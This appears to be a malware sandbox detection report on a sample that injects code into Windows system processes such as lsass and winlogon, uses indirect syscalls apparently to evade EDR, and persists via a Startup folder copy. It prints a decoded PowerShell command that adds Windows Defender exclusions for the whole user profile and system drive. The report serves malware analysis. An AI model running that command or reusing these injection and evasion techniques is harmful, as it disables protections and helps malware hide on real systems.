Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5644B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108BA60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166940000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E27BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 3430000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D1777C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1FCD09E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BF745C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28DA5970000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1F8C33E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 274E1D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 249B79F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E148DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1AB29D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1B9380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\SearchServices.exe base: 264CC240000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2067C650000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe base: 1C750000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\SearchServices.exe base: 21BB0180000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1FA15B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 15A09CD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1FA15DE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 113DEDD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 15A09F70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1E129570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1E1295A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 1E149600000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 27FC5240000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 266A9E90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1A845C00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1A845C50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 17279BF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 2B361400000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EEFF40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EF1D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D79030000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D7AAD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1B0161B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: cmd.exe base: 1B016370000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1DD8F640000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 224C8880000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 224C89A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 21A94490000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\tasklist.exe base: 1B70EFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\tasklist.exe base: 1B710F10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1C4C29D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 215A07D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1D366380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1D3664A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 22FBF480000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 26D3C1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 26D3C460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1A54CBF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1A54CC40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1FDB5710000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 1DCFB340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 1DCFB400000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 24CDE5C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 24CDE610000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 21EDEDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 27AB9A10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 27AB9CB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 22C72A90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 2117ABB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1EFFCFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 232C8580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 1EFFD6B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1F4D5660000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 2E131B70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\curl.exe base: 202C9380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 20546460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 20546490000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 42_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

42_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC61273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AED8273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8799273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5377273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D53273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B38273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EBFD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5904273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9E7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7316273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4E86273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 473C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6F9D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 83BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D3F7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A415273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BDF3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C026273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C9F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 644B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B2A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4F6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F535273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C257273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8BA6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6694273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D57273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC74273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F389273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A653273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 27BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B15273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F48273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 343273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E26273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D593273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC65273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 777C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A64273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6450273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4935273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60D8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E815273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5234273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D09E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 745C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A597273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C33E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E1D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B79F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 48DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B938273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC24273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7C65273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1C75273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B018273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 15B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9CD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 15DE273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: DEDD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9F7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2957273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 295A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4960273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C524273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9E9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 45C0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 45C5273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 79BF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6140273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\conhost.exe EIP: EFF4273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\conhost.exe EIP: F1D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7903273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7AAD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 161B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C888273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C89A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 9449273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EFD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 10F1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C29D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A07D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6638273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 664A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: BF48273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3C1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3C46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4CBF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4CC4273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: B571273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FB34273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FB40273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE5C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE61273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: DEDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B9A1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B9CB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 72A9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7ABB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FCFB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C858273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FD6B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: D566273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 31B7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C938273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4646273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4649273C

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: Base64 decoded <#lkl#>Add-MpPreference <#his#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#drv#> -Force <#cvp#>
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: Base64 decoded <#lkl#>Add-MpPreference <#his#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#drv#> -Force <#cvp#>			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtQuerySystemInformation: Indirect: 0x1D3A2F57	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtResumeThread: Indirect: 0x1D3A231E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtDeviceIoControlFile: Indirect: 0x1D3A2B9D	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtEnumerateValueKey: Indirect: 0x1D3A290E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtEnumerateValueKey: Indirect: 0x1D3A293D	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	NtQuerySystemInformation: Indirect: 0x1D3A205D	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
